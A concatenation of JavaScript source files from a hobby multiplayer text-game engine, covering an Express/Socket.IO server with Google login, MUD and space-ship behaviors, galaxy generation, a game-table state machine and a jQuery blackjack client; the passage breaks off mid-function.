app.use(passport.session()); app.use(app.router); var host = process.env.HOST || 'localhost'; var port = process.env.PORT || 3000; if ('production' == app.get('env')) { host = 'powerful-hamlet-9008.herokuapp.com'; port = '80'; } passport.use(new GoogleStrategy({ returnURL: 'http://' + host +':' + port + '/auth/google/return', realm: 'http://' + host +':' + port + '/' }, function(identifier, profile, done) { // User.findOrCreate({ openId: identifier }, function(err, user) { // done(err, user); // }); console.log('id:' + identifier); console.log('profile: ' + JSON.stringify(profile,null,2)); done(null,{name: profile.displayName, _id: cognition.db.newID()}) ; } )); // passport.serializeUser(function(user, done) { // _user=user; // done(null, _user); // }); // // passport.deserializeUser(function(id, done) { //// User.findById(id, function(err, user) { //// done(err, user); //// }); // done(null, _user); // }); passport.serializeUser(function(user, done) { done(null, user); }); passport.deserializeUser(function(obj, done) { done(null, obj); }); }); app.configure('development', function(){ app.use(express.errorHandler({ dumpExceptions: true, showStack: true })); }); app.configure('production', function(){ app.use(express.errorHandler()); }); app.use('/js', browserify('./client/app')); app.get('/js/config.js', browserify('./client/config.js')); app.get('/js/recognition.js', browserify('./client/recognition.js')); // Routes app.get('/', routes.test); app.get('/test', routes.test); app.get('/login', routes.loginget); app.get('/logout', routes.logout); app.post('/login', routes.login); app.get('/test/:name', function (req, res) { res.redirect('../../lounge.html?user=' + req.params.name); }); //app.get('/login', function(req, res){ res.sendfile(__dirname + '/public/login.html'); }); // Redirect the user to Google for authentication. When complete, Google // will redirect the user back to the application at // /auth/google/return app.get('/auth/google', passport.authenticate('google')); // Google will redirect the user to this URL after authentication. Finish // the process by verifying the assertion. If valid, the user will be // logged in. Otherwise, authentication has failed. app.get('/auth/google/return', passport.authenticate('google', { successRedirect: '/test' , failureRedirect: '/login' } )); // redirect all others to the index (HTML5 history) //app.get('*', routes.index); var cognition = require('cognition'); var options = cognition.options.create('Game Tables', 'game_tables', 'src/gameTables/', '_player', '_lounge'); //cognition.createConfig('src/gameTables/'); cognition.startEngine(options); startWS(cognition); server.listen(process.env.PORT || 3000, function(){ console.log("Express server listening on port %d in %s mode", this.address().port, app.settings.env); }); function authFunction (user) { return true; } function startWS(cognition) { var io = require('socket.io').listen(server); // assuming io is the Socket.IO server object io.configure(function () { io.set("transports", ["websocket"]); io.set("polling duration", 10); }); io.set('log level', 1); io.of('/cognition').on('connection', function(socket){ socket.on('set user', function (name) { socket.set('username', name, function () { socket.emit('ready'); socket.send('Hello ' + name); cognition.engine.loadUserDataByName(name, function(error, result){ console.log ('db'); var user = null; if(error || !result){ console.log('no user -- making meow'); user = {name: name, _id: cognition.db.newID()}; } else { console.log('user ' + name + ' found'); user = result; } //console.log(user); if (authFunction(user)) { cognition.engine.connect(socket,user); } else { socket.emit('disconnect'); //socket.disconnect(); } }); }); }); }); } <file_sep>/client/app/helper/index.js exports.axle = require('./axle'); exports.connection = require('./connection'); exports.message = require('./message'); exports.path = require('./path'); exports.collection = require('./collection'); exports.commandBuilder = require('./commandBuilder'); exports.watch = require('./watch'); <file_sep>/src/mud/behaviors/room.js var Behavior = require("./../../behavior"); var util = require("util"); var Class = function(){ Behavior.call(this); }; util.inherits(Class,Behavior); var p = Class.prototype; p.defaults = { exits: [] }; p.create = function(){ this.exposeMethod('listExits',this.listExits); this.exposeMethod('addExit',this.addExit); this.exposeMethod('getShortLook',this.getShortLook); this.exposeMethod('getLongLook',this.getLongLook); }; p.awake = function(){ } p.addExit = function(options){ // {name, file} var exits = this.getProp('exits'); exits.push(options); }; p.listExits = function(){ var arr = []; var exits = this.getProp('exits'); for(var i=0; i < exits.length; i++) arr.push(exits[i]); return arr; }; p.getLongLook = function(){ var desc = this.getProp('longDesc'); desc += '\n'; var exits = this.doMethod('listExits'); var names = []; for(var i = 0; i < exits.length; i++){ names.push(exits[i].name); } desc += "["; desc += names.join(','); desc += "]\n"; return desc; }; p.getShortLook = function(){}; module.exports = Class;<file_sep>/src/astra/core/ship/helm.js var cognition = require("cognition"); var Class = cognition.Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setName('helm_behavior'); this.setKind('helm'); this.ship = null; }; p.init = function(){ this.exposeCmd('launch',this.launch_cmd); this.exposeCmd('fold',this.fold_cmd); this.exposeCmd('land',this.land_cmd); }; p.awake = function(){ this.ship = this.getEnv(); }; p.fold_cmd = function(action){ if(!this.ship) return; var space = this.ship.getEnv(); if(!space) return; if(!space.hasBehavior('sector')) return; var exit = space.tryMethod('getExitByName',action.itemName); if(!exit) return; if(this.attemptAction(action)){ action.actor.sendPlayer("Your ship folds the nearby space, slipping into the Fugue."); action.actor.sendOthers(action.actor.getProp('short_desc') + " activates the Fugue Drive, and space folds in around you."); this.ship.sendOthers(this.getProp('short_desc')+ " folds into the Fugue and is gone."); space.doMethod('useExit',this.ship,exit); } }; p.launch_cmd = function(action){ if(!this.ship) return; var landingRoom = this.ship.getEnv(); if(!landingRoom) return; var landingTarget = landingRoom.getEnv(); if(!landingTarget) return; var space = landingTarget.getEnv(); if(!space) return; if(this.attemptAction(action)){ action.actor.sendPlayer("Your ship launches into space."); //action.actor.sendOthers(action.actor.getProp('short_desc') + " lands the on "); //this.ship.sendOthers(this.getProp('short_desc')+ " folds into the Fugue and is gone."); this.ship.setParent(space); } }; p.land_cmd = function(action){ if(!this.ship) return; var space = this.ship.getEnv(); if(!space) return; this._resolveActionItem(action, space); var landingTarget = action.item; if(!landingTarget) return; if(this.attemptAction(action)){ action.actor.sendPlayer("Your ship lands on " + action.item.getProp('short_desc') + "."); //action.actor.sendOthers(action.actor.getProp('short_desc') + " lands the on "); //this.ship.sendOthers(this.getProp('short_desc')+ " folds into the Fugue and is gone."); //action.item.doMethod('land',this.ship); var landingRoomFile = landingTarget.getProp('landing_room'); if(!landingRoomFile) return; var rooms = landingTarget.findCogsOfFile(landingRoomFile); if(rooms.length==0) return; var landingRoom = rooms[0]; this.ship.setParent(landingRoom); } }; p._resolveActionItem = function(action, env){ var item = null; if(env){ if(action.itemName) item = this._getItemWithAlias(env, action.itemName); else if(action.itemID) item = env.getCogByCID(action.itemID); } action.item = item; action.invalid = (action.invalid || item == null); return item; }; p._getItemWithAlias = function(env, alias){ var cogs = env._children; var i = cogs.length; while(i--){ var cog = cogs[i]; if(cog.tryMethod('hasAlias',alias)) return cog; } return null; }; module.exports = Class;<file_sep>/src/gameTables/stateMachine.js /** * @constructor * @class stateMachine * @extends Behavior * */ var Class = require("cognition").Behavior.subClass(); /** @lends {Behavior} */ var p = Class.prototype; p.defaults = { machineState: 0, machineFile: "" }; p.create = function(){ /** @type {gameTable} */ var self = this; self.setKind('stateMachine'); self.setName('stateMachine_behavior'); }; var m; var mConfig; p.init = function (){ var mFile = this.getProp('machineFile'); m = require('./' + mFile); mConfig=m.config; var mState = this.getProp('machineState'); //if (!mState) //force clean state this.setProp('machineState', mState=m.createGame()); //mapCommands(mConfig.COMMANDS); this.currentTimeout = undefined; var e = require('cognition/events'); if (mConfig.PLAYER_ADDED) { this.onCogEvent(e.CHILD_ADDED,this.addPlayer); this.onCogEvent(e.CHILD_RESTORED,this.restorePlayer); } if (mConfig.PLAYER_REMOVED) { this.onCogEvent(e.CHILD_REMOVED,this.removePlayer); } if(mConfig.E_INPUT) this.exposeMethod(mConfig.E_INPUT, this.handleInput); //this.setWait(mConfig[ mConfig.STATE_LIST[mState.state] ].wait+2); }; p.advanceState = function () { var mState = this.getProp('machineState'); mState.advance=0; if (mState.state == 0 && mState.playerCount==0) return; // console.log ('state='); m[mConfig[mConfig.STATE_LIST[mState.state]].function ](mState); if (mState.state>=mConfig.STATE_LIST.length-1) mState.state=0; else mState.state++; this.sendAll('env_' + mConfig.E_NAME, 'all', m.toData(mState) ); console.log(mConfig.STATE_LIST[mState.state] + ' - ' + new Date().toUTCString()); if (mState.advance == 1) { this.setProp('machineState', mState); this.advanceState(); } else { this.setProp('machineState', mState); this.setWait(mConfig[mConfig.STATE_LIST[mState.state]].wait+2); mState.advance=0; } }; p.setWait = function(time) { this.currentTimeout = setTimeout(this.advanceState.bind(this), time*1000); }; p.handleInput = function (action) { var mState = this.getProp('machineState'); if (action.itemName && mConfig.COMMANDS[action.itemName]) { m[mConfig.COMMANDS[action.itemName]](mState, action.actor.getPlayer()._cid, action.targetName); } this.setProp('machineState', mState); this.sendAll('env_' + mConfig.E_NAME, 'all', m.toData(mState) ); //TODO: send add/rem if (mState.advance == 1) { clearTimeout(this.currentTimeout); this.advanceState(); } }; p.restorePlayer = function(player) { this.addPlayer(player); }; p.addPlayer = function(player) { if (player._isPlayer) { var mState = this.getProp('machineState'); if (mState.state == 0 && mState.playerCount==0) { console.log('restart'); try {clearTimeout(this.currentTimeout);} catch (ex) {} this.setWait(mConfig[ mConfig.STATE_LIST[mState.state] ].wait+2); } if (! m[mConfig.PLAYER_ADDED](mState, player._cid, player.getProp('short_desc'), player.getProp('cash')) ) { player.sendPlayer('Table is full, please try another.'); player.setParent(this.getParent()); } else { this.setProp('machineState', mState); } } this.sendAll('env_' + mConfig.E_NAME, 'all', m.toData(mState) ); //TODO: send add/rem }; p.removePlayer = function(player) { if (player._isPlayer) { var mState = this.getProp('machineState'); var stats = m[mConfig.PLAYER_REMOVED](mState, player._cid); if (stats.winnings) player.setProp('cash',stats.winnings); this.setProp('machineState', mState); } this.sendAll('env_' + mConfig.E_NAME, 'all', m.toData(mState) ); //TODO: send add/rem }; function mapCommands(mapObject) { for (var key in mapObject) { var method = mapObject[key]; if (typeof(method) != 'function') method = this[mapObject[key]]; if (!method) continue; this.exposeMethod('cmd_'+key, method); } } module.exports = Class;<file_sep>/src/nova/core/ship/landable.js var cognition = require("cognition"); var Class = cognition.Behavior.subClass(); var p = Class.prototype; p.defaults = { landing_room: null }; p.create = function(){ this.setName('landing_behavior'); this.setKind('landing'); }; p.init = function(){ this.exposeMethod('land',this.land); }; p.awake = function(){ }; p.land = function(ship){ var exit = {relative: 'child', file:this.getProp('landing_room')}; this.doMethod('useExit', ship, exit); }; module.exports = Class;<file_sep>/client/app/render/basic/admin.js var cb = require('../../helper/commandBuilder'); var ms = require('../../magicStrings'); var _state; exports.setState = function (state) { _state = state; }; var myDiv; var itemList; var gui ; exports.init = function (divName) { myDiv=$('#'+divName); if (!myDiv.length) return; //myDiv.removeClass("invisible"); gui = new dat.GUI(); _state.env.on('collection_added', collectionAdded ); }; function collectionAdded (name) { if (name =='admin') { _state.env.data[name].on('item_added', itemAdded ); _state.env.data[name].on('item_removed', itemRemoved ); } if (name =='machine_list') { _state.env.data[name].on('item_added', macAdded ); _state.env.data[name].on('item_removed', macRemoved ); } } function itemAdded (key, value) { console.log(value); var f = gui.addFolder(key); var bList = []; for (var p in value) { if ( value.hasOwnProperty(p) ) { if (p=='behaviors') { for (var i=0; i<value[p].length; i++) { var b = f.addFolder(value[p][i].file); exportProps(b,value[p][i].props); } } else if ($.isArray(value[p]) ) { value[p+'Array'] = value[p].join('|'); f.add(value,p+'Array'); } //continue; else if (typeof value[p] === 'object') exportProps(f, value[p]); else if (p != 'bList' && p!= 'children' ) { // console.log('add '); // console.log(p); f.add(value,p); } } } //value.bList = bList; //f.add(value, 'bList'); } function exportProps(gui, obj) { for (var n in obj) { if ( obj.hasOwnProperty(n) ) { if ($.isArray(obj[n]) ) { obj[n+'Array'] = obj[n].join('|'); gui.add(obj,n+'Array'); } //continue; else if (typeof obj[n] === 'object') { exportProps(gui,obj[n]); } else gui.add(obj,n); } } } function itemRemoved (key, value) { $('div.ac').html(''); gui = new dat.GUI(); } var macList=Object.create(null); function macAdded (key, value) { console.log(maclist); } function macRemoved(key, value) { } function handleTake() { //console.log($(this).html()); _state.client.input.set( cb.createMessage("take", $(this).attr('id'),'') ); //_state.client.input.set('/take ' + _state.env.data['items'].items[$(this).attr('id')].alias); }<file_sep>/src/astra/core/_player.js var c = {}; c.isPlayer = true; c.isMachine = true; c.behaviors = [ {file:"astra/core/look"}, {file:"astra/core/item"}, {file:"astra/core/actor"}, {file:"astra/core/inventory"}, {file:"astra/core/chat"}, {file:"astra/core/mobile"}, {file:"astra/core/charStats"}, {file:"astra/core/senseEnvDesc"}, {file:"astra/core/senseEnvItems"}, {file:"astra/core/senseEnvExits"}, {file:"astra/core/senseInvItems"}, {file:"astra/core/charGen",blueprintBound:false} ]; module.exports = c; <file_sep>/client/config.js var c = {}; c.version = '0.0.1'; c.renderer = "basic"; c.server = 'http://powerful-hamlet-9008.herokuapp.com/'; c.port = 80; c.socketName = 'cognition'; c.msgContext = 'view'; c.msgType = 'type'; c.msgData = 'data'; module.exports = c;<file_sep>/src/nova/core/inventory.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; var cognition = require("cognition"); p.create = function(){ this.setName('inventory_behavior'); this.setKind('inventory'); }; p.init = function(){ this.exposeCmd('take',this.take_cmd); this.exposeCmd('drop',this.drop_cmd); }; p.take_cmd = function(action){ if(!action.item) return; this.attemptAction(action); this.sendPlayer("You take: " + action.item.getProp('short_desc')); action.item.setParent(this.getPlayer()); }; p.drop_cmd = function(action){ cognition.action.resolveItem(action, this.getPlayer()); if(!action.item) return; this.attemptAction(action); this.sendPlayer("You drop: " + action.item.getProp('short_desc')); action.item.setParent(this.getEnv()); }; module.exports = Class;<file_sep>/client/app/render/basic/huds.js var ms = require('../../magicStrings'); var _state; exports.setState = function (state) { _state = state; //state.env.on('collection_added', collectionAdded ); // state.env.on('watch_added', watchAdded ); }; var myDiv; exports.init = function (divName) { myDiv=$('#'+divName); myDiv.removeClass("invisible"); }; function collectionAdded (name) { console.log(name); if (name =='exits') { _state.env.data[name].on('item_added', exitAdded ); _state.env.data[name].on('item_removed', exitRemoved ); } if (name =='cmds') { _state.env.data[name].on('item_added', cmdAdded ); _state.env.data[name].on('item_removed', cmdRemoved ); } } <file_sep>/client/app/state/index.js exports.client = require('./client'); exports.env = require('./env'); exports.player = require('./player'); exports.history = require('./history'); <file_sep>/src/nova/core/senseOrbitals.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.create = function(){ this.setKind('sense'); }; p.init = function(){ var cognition = require('cognition'); this.onCogEvent(cognition.events.PLAYER_CONNECTED, this.senseAll); this.onParentChanged(this.parentChanged); }; p.parentChanged = function(){ this.senseAll(); }; p.toData = function(body){ return { a: body.getProp('orbital_angle'), r: body.getProp('orbital_radius'), cid: body.getCID(), sd: body.getProp('short_desc') }; }; p.senseAll = function(){ var data = []; var orbs = this.findCogsNearThis('orbital'); for(var i=0; i < orbs.length; i++){ var orb = orbs[i]; data.push(this.toData(orb)); } this.sendPlayer('env_orbitals', 'all', data); }; module.exports = Class;<file_sep>/src/astra/core/universe.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.defaults = { options: { sectors: 100, clusterMin: 1, clusterMax: 15, branchMax: 5, revStats: [ {name: "Galactic Core", toRev: 2}, {name: "Inner Rim", toRev: 4}, {name: "Outer Rim", toRev: 7}, {name: "Nebulous Fringe", toRev: 10}, {name: "Black Beyond", toRev: 999} ] }, clusterCIDs: [], entryCID: null }; p.create = function(){ this.setName('universe_behavior'); this.setKind('universe'); }; p.init = function(){ this.exposeMethod('build',this.build); }; p.build = function(){ var options = this.getProp('options'); var clusterCIDs = this.getProp('clusterCIDs'); var clustersByRev = {}; var sectors = []; // all sectors var clusters = []; // all clusters var ang = 360; // angle var inc = 20; // angle increment var rev = 0; // revolutions var c; // cluster while(sectors.length < options.sectors){ inc += 1; ang += inc; rev += inc / 360.0; if(ang >= 360) { ang %= 360; clustersByRev[Math.floor(rev)] = []; console.log(rev+":c:"+clusters.length); } c = this.buildCluster(ang, inc, rev, options, sectors); clustersByRev[Math.floor(rev)].push(c); clusterCIDs.push(c._cid); clusters.push(c); } // chain link all clusters in the spiral for(var i = 1; i < clusters.length; i++){ this.linkClusters(clusters[i], clusters[i-1],options); this.linkClusters(clusters[i], clusters[i-1],options); } for(var r = 1; r <= rev; r++){ var outerClusters = clustersByRev[r]; var innerClusters = clustersByRev[r-1]; for(var j=0; j < outerClusters.length; j++){ var oc = outerClusters[j]; var ic; ic = this.findClusterNearAngle(innerClusters, oc.getProp('ang'),180.0/r); this.linkClusters(oc,ic,options); ic = this.findClusterNearAngle(innerClusters, oc.getProp('ang'),180.0/r); this.linkClusters(oc,ic,options); ic = this.findClusterNearAngle(innerClusters, oc.getProp('ang'),60); this.linkClusters(oc,ic,options); } } for(var r = 2; r <= rev; r++){ var outerClusters = clustersByRev[r]; var innerClusters = clustersByRev[r-2]; for(var j=0; j < outerClusters.length; j++){ var oc = outerClusters[j]; var ic; ic = this.findClusterNearAngle(innerClusters, oc.getProp('ang'),120.0/r); this.linkClusters(oc,ic,options); ic = this.findClusterNearAngle(innerClusters, oc.getProp('ang'),120.0/r); this.linkClusters(oc,ic,options); } } this.setProp('clusterCIDs',clusterCIDs); }; p.buildCluster = function(ang, inc, rev, options, sectors){ var s; var c = this.createCog('astra/core/_cluster'); var size = Math.floor(Math.random() * (options.clusterMax - options.clusterMin + 1)) + options.clusterMin; var left = options.sectors - sectors.length; if(size > left) size = left; ang += (Math.random() -.5) * inc *.8; if(ang < 0) ang += 360; if(ang > 360) ang -= 360; rev += (Math.random() -.5) *.8; c.setProp('ang',ang); c.setProp('rev',rev); c.setProp('size',size); c.doMethod('generateDesc', options); var localSectors = []; var linkedSectors = []; for(var i = 0; i < size; i++){ s = this.createCog('astra/core/_sector'); if(i<5) s.spawnCog('astra/world/ports/mini/_port'); sectors.push(s); localSectors.push(s); s.setParent(c); s.setProp('sectorNum', sectors.length); //s.setProp('long_desc','moo'); s.doMethod('generateDesc', c); } while(localSectors.length > 0){ //console.log("total sectors :" + sectors.length); //console.log("sectors left:" + localSectors.length); s = localSectors.shift(); var pool = linkedSectors.slice(0); var branches = Math.min(pool.length,options.branchMax); branches = this.randomInRange(1, 2); while(pool.length > 0 && branches > 0){ branches -= 1; var d = pool.splice(this.randomInRange(0,pool.length-1),1)[0]; // destination var exits = d.getProp('exits'); if(exits.length < options.branchMax){ this.linkSectors(s,d); } //console.log("branch: " + d.getProp('sectorNum') + " to " + s.getProp('sectorNum')); } linkedSectors.push(s); } return c; }; p.findLinkableSector = function(cluster, options){ var sectors = cluster._children.slice(0); while(sectors.length > 0){ var s = sectors.splice(this.randomInRange(0,sectors.length-1),1)[0]; var exits = s.getProp('exits'); if(exits.length < options.branchMax) return s; } return null; }; p.linkSectors = function(s1, s2){ if(s1 && s2){ if(s1.doMethod('hasExitCID',s2._cid)) return false; // don't link to the same sector twice s1.doMethod('addExit',{cid: s2._cid, name: s2.getProp('sectorNum')}); // exit from sector to destination s2.doMethod('addExit',{cid: s1._cid, name: s1.getProp('sectorNum')}); // exit from destination to sector // if(Math.abs(s1.getProp('sectorNum')-s2.getProp('sectorNum'))>30) // console.log("sector:"+s1.getProp('sectorNum')+" to " + s2.getProp('sectorNum')); return true; } return false; }; p.linkClusters = function(c1,c2,options){ if(c1 && c2){ var s1 = this.findLinkableSector(c1,options); var s2 = this.findLinkableSector(c2,options); return this.linkSectors(s1, s2); } return false; }; p.findClusterNearAngle = function(clusters, ang, range){ var pool = clusters.slice(0); while(pool.length > 0) { var c = pool.splice(this.randomInRange(0,pool.length-1),1)[0]; var diff = Math.abs(ang - c.getProp('ang')); if (diff > 180) diff = 360 - diff; if(diff <= range){ return c; } } return null; }; p.clamp = function(num, min, max){ if(num < min) return min; if(num > max) return max; return num; }; p.randomInRange = function(min, max){ return Math.floor(Math.random() * (max - min + 1)) + min; }; module.exports = Class;<file_sep>/src/astra/core/mobile.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.defaults = { lastExit: null }; p.create = function(){ this.setName('mobile_behavior'); this.setKind('mobile'); }; p.init = function(){ this.exposeMethod('cmd_exit', this.exit); this.setProp('lastExit',null,true); }; p.exit = function(action){ var env = this.getEnv(); if(!env) return; var exit = env.tryMethod('getExitByName',action.itemName); if(!exit) return; if(!this.attemptAction(action)) return; action.actor.sendPlayer("You exit: " + action.itemName); action.actor.sendOthers(action.actor.getProp('short_desc') + " exits: " + action.itemName); env.doMethod('useExit',action.actor,exit) }; module.exports = Class;<file_sep>/src/astra/core/spawn.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.defaults = { spawn_list : [] }; p.create = function(){ this.setName('spawn_behavior'); this.setKind('spawn'); }; p.awake = function(){ this.exposeMethod('hasAlias', this.hasAlias); this.exposeMethod('addAlias', this.addAlias); this.exposeMethod('removeAlias', this.removeAlias); this.exposeMethod('getAliasList', this.getAliasList); this.exposeMethod('hasFlag', this.hasFlag); this.exposeMethod('addFlag', this.addFlag); this.exposeMethod('getFlag', this.getFlag); this.exposeMethod('removeFlag', this.removeFlag); this.exposeMethod('getFlagList', this.getFlagList); }; p.hasAlias = function(name){ var aliases = this.getProp('alias_list',true); return (aliases.indexOf(name) != -1); }; p.addAlias = function(name){ var aliases = this.getProp('alias_list',true); if (aliases.indexOf(name) != -1) aliases.push(name); this.setProp('alias_list',aliases,true); }; p.removeAlias = function(name){ var aliases = this.getProp('alias_list',true); var i = aliases.indexOf(name); if (i != -1) aliases.splice(i,1); this.setProp('alias_list',aliases,true); }; p.getAliasList = function(){ var aliases = this.getProp('aliases',true); return aliases.filter(function(a){return true;}); }; p.hasFlag = function(name){ var flags = this.getProp('item_flags',true); return flags.hasOwnProperty(name); }; p.getFlag = function(name){ var flags = this.getProp('item_flags',true); return flags[name]; }; p.addFlag = function(name, val){ var flags = this.getProp('item_flags',true); flags[name] = val; this.setProp('item_flags',flags,true); }; p.removeFlag = function(name){ var flags = this.getProp('item_flags',true); delete flags[name]; this.setProp('item_flags',flags,true); }; p.getFlagList = function(){ var flags = this.getProp('item_flags',true); var copy = {}; for(var f in flags){ if(flags.hasOwnProperty(f)) copy[f] = flags[f]; } return copy; }; module.exports = Class;<file_sep>/client/app/render/basic/items.js var cb = require('../../helper/commandBuilder'); var ms = require('../../magicStrings'); var itemTmpl = require('./templates/item.hbs'); var _state; exports.setState = function (state) { _state = state; state.env.on('collection_added', collectionAdded ); }; var myDiv; var itemList; exports.init = function (divName) { myDiv=$('#'+divName); //if (!myDiv) return; myDiv.removeClass("invisible"); myDiv.click(function() {_state.env.focus.set(myDiv)}); myDiv.html("<h3>Join a Table:</h3>"); myDiv.append('<ul id="itemList"></ul>'); itemList = myDiv.children('#itemList'); }; function collectionAdded (name) { if (name =='items') { _state.env.data[name].on('item_added', itemAdded ); _state.env.data[name].on('item_removed', itemRemoved ); } } function itemAdded (key, value) { if (value.is_player) return; if (itemList) { var e = {}; //FIXME: rewrite e.data = value; e.id = key; //console.log(JSON.stringify(e)); $(itemTmpl(e)).hide().click(handleTake).appendTo(itemList).fadeIn(); } } function itemRemoved (key, value) { //console.log('remove ' + key); itemList.children('#'+key).hide(function(){ $(this).remove();}); } function handleTake() { //console.log($(this).html()); _state.client.input.set( cb.createMessage("take", $(this).attr('id'),'') ); //_state.client.input.set('/take ' + _state.env.data['items'].items[$(this).attr('id')].alias); }<file_sep>/client/app/render/basic/mainHud.js /** * User: halmayne * Date: 7/31/13 * Time: 9:50 PM */ var ms = require('../../magicStrings'); var locationTmpl = require('./templates/location.hbs'); var exitTmpl = require('./templates/exit.hbs'); var _state; exports.setState = function (state) { _state = state; }; var myDiv; var exits; var cmds; var location; exports.init = function (divName) { myDiv=$('#'+divName); if(!myDiv.val()) return; _state.env.on('collection_added', collectionAdded ); _state.env.on('watch_added', watchAdded ); myDiv.removeClass("invisible"); myDiv.click(function() {_state.env.focus.set(myDiv)}); myDiv.html("<h3>Location</h3>"); myDiv.append('<div id="location"></div>'); location = myDiv.children('#location'); myDiv.append('<div id="exits">Exits:</div>'); exits = myDiv.children('#exits'); myDiv.append('<div id="cmds">Commands:</div>'); cmds = myDiv.children('#cmds'); }; function collectionAdded (name) { console.log(name); if (name =='exits') { _state.env.data[name].on('item_added', exitAdded ); _state.env.data[name].on('item_removed', exitRemoved ); } if (name =='cmds') { _state.env.data[name].on('item_added', cmdAdded ); _state.env.data[name].on('item_removed', cmdRemoved ); } } function exitAdded (key, value) { if (exits) { var e = {}; //FIXME: rewrite e.data = value; e.id = key; //console.log(JSON.stringify(e)); $(exitTmpl(e)).hide().click(handleExit).appendTo(exits).fadeIn(); } } function exitRemoved (key, value) { //console.log('remove ' + key); exits.children('#'+key).hide(function(){ $(this).remove();}); } function cmdAdded (key, value) { if (cmds) { var e = {}; //FIXME: rewrite e.data = value; e.id = key; //console.log(JSON.stringify(e)); $(exitTmpl(e)).hide().click(handleCmd).appendTo(cmds).fadeIn(); } } function cmdRemoved (key, value) { //console.log('remove ' + key); if (cmds) cmds.children('#'+key).hide(function(){ $(this).remove();}); } function watchAdded (name) { //console.log(name); if (name =='desc' ) { _state.env.data[name].on(ms.CHANGE_EVENT, locationDescChanged ); } } function locationDescChanged() { //console.log(JSON.stringify(_state.env.data,null,2)); //console.log(_state.env.data); location.html(''); $(locationTmpl(_state.env.data['desc'].value)).hide().appendTo(location).fadeIn(); } function handleExit() { //console.log($(this).html()); _state.client.input.set('/exit ' + $(this).html()); } var cmdLine; function handleCmd() { //console.log($(this).html()); if (!cmdLine) cmdLine = $('#commandLine'); cmdLine.focus(); cmdLine.val('/' + $(this).html()); }<file_sep>/client/app/render/basic/actionbar.js /** * User: halmayne * Date: 7/27/13 * Time: 11:57 PM */ var ms = require('../../magicStrings'); var _state; exports.setState = function (state) { _state = state; //state.env.on('collection_added', collectionAdded ); //state.client.chat.on(ms.CHANGE_EVENT, echo ); }; var myDiv; exports.init = function (divName) { myDiv=$('#'+divName); if (!myDiv) return; myDiv.removeClass("invisible"); myDiv.click(function() {_state.env.focus.set(myDiv)}); myDiv.html("<h3>Actions</h3>"); };<file_sep>/src/gameTables/chat.js var Class = require("cognition").Behavior.subClass(); var p = Class.prototype; p.defaults = { chat_name_prop: 'short_desc' }; p.create = function(){ this.setName('chat_behavior'); this.setKind('chat'); }; p.init = function(){ this.exposeCmd('chat', chat); }; var chat = function(action){ if(this.attemptAction(action)){ this.sendPlayer("You say: " + action.rawText); this.sendOthers(this.getProp(this.getProp('chat_name_prop',true)) + ' says: ' + action.rawText); } }; module.exports = Class;<file_sep>/src/archive/blueprints/player.js var c = {}; c.isPlayer = true; c.isMachine = true; c.behaviors = [ { file:"./behaviors/echo", props:{ } }, { file:"./mud/look", props:{ } } ]; module.exports = c; <file_sep>/src/nova/core/_player.js var c = {}; c.isPlayer = true; c.isMachine = true; c.behaviors = [ {file:"core/look"}, {file:"core/item"}, {file:"core/actor"}, {file:"core/inventory"}, {file:"core/chat"}, {file:"core/mobile"}, {file:"core/charStats"}, {file:"core/senseEnvDesc"}, {file:"core/senseEnvItems"}, {file:"core/senseOrbitals"}, {file:"core/senseInvItems"} ]; module.exports = c; <file_sep>/src/archive/blueprints/sword.js var c = {}; c.name = "Blade of Bunnies"; c.behaviors = [ { file:"weapon", props:{ dmg:5, kind:"blade" } }, { file:"item", props:{ shortDesc:"Blade of Bunnies", longDesc:"The very awesome Blade of Bunnies", weight:2 } } ]; module.exports = c;<file_sep>/client/app/render/basic/bj.js /** * User: halmayne * Date: 7/31/13 * Time: 9:50 PM */ var ms = require('../../magicStrings'); var _state; exports.setState = function (state) { _state = state; //state.env.on('collection_added', collectionAdded ); state.env.on('watch_added', watchAdded ); }; var myDiv; var actions; var gameTable; var dealerCards; var playerCards; var players; var items; var timer; var timeLeft=0; var timeOut; var hit; var stand; var betUp; var betDown; var bet=10; var ready; var names=[], bets=[], cashs=[], cards=[], ps=[], wins=[]; exports.init = function (divName) { myDiv=$('#'+divName); if (!myDiv) return; items=$('#items'); players=$('#players'); myDiv.click(function() {_state.env.focus.set(myDiv)}); $('<button id="exit_table" class="btnExit">Leave Table</button>').click(leaveTable).appendTo(myDiv); myDiv.append('<div id="gameTable" class="gameTable"></div>'); gameTable = myDiv.children('#gameTable'); gameTable.append('<div id="dealerCards" class="">House<br></div>'); dealerCards = gameTable.children('#dealerCards'); gameTable.append('<div id="playerCards" class=""><br>&nbsp;<br><table width="100%"><tbody><tr><td id=p1 class="invisible playerHand" width="33%">' + '<span id="pName1"></span><div id=pCards1></div>' + 'Bet - $<span id="bet1" class="betAmount"></span> <br/>Cash - $<span id="cash1" class="cash"></span> <br/><span id=win1></span> </td><td id=p2 class="invisible playerHand" width="33%">' + '<span id="pName2"></span><div id=pCards2></div>' + 'Bet - $<span id=bet2 class="betAmount"></span> <br/>Cash - $<span id= cash2 class="cash"></span> <br/><span id=win2></span> </td><td id=p3 class="invisible playerHand" width="33%">' + '<span id="pName3"></span><div id=pCards3></div>' + 'Bet - $<span id=bet3 class="betAmount"></span> <br/>Cash - $<span id=cash3 class="cash"></span> <br/><span id=win3></span> </td></tr></tbody></table>' + '</div>'); playerCards = gameTable.find('#playerCards'); names.push(playerCards.find('#pName1')); names.push(playerCards.find('#pName2')); names.push(playerCards.find('#pName3')); cards.push(playerCards.find('#pCards1')); cards.push(playerCards.find('#pCards2')); cards.push(playerCards.find('#pCards3')); bets.push(playerCards.find('#bet1')); bets.push(playerCards.find('#bet2')); bets.push(playerCards.find('#bet3')); cashs.push(playerCards.find('#cash1')); cashs.push(playerCards.find('#cash2')); cashs.push(playerCards.find('#cash3')); ps.push(playerCards.find('#p1')); ps.push(playerCards.find('#p2')); ps.push(playerCards.find('#p3')); wins.push(playerCards.find('#win1')); wins.push(playerCards.find('#win2')); wins.push(playerCards.find('#win3')); myDiv.append('<div id="Action"></div>'); actions = myDiv.children('#Action'); $('<span id=timer class="timer" ></span> ').appendTo(actions); timer = actions.children('#timer'); $('<button id=hit class="btnAction invisible" >Hit</button>').click(handleHit).appendTo(actions); $('<button id=stand class="btnAction invisible">Stand</button>').click(handleStand).appendTo(actions); hit=actions.children('#hit'); 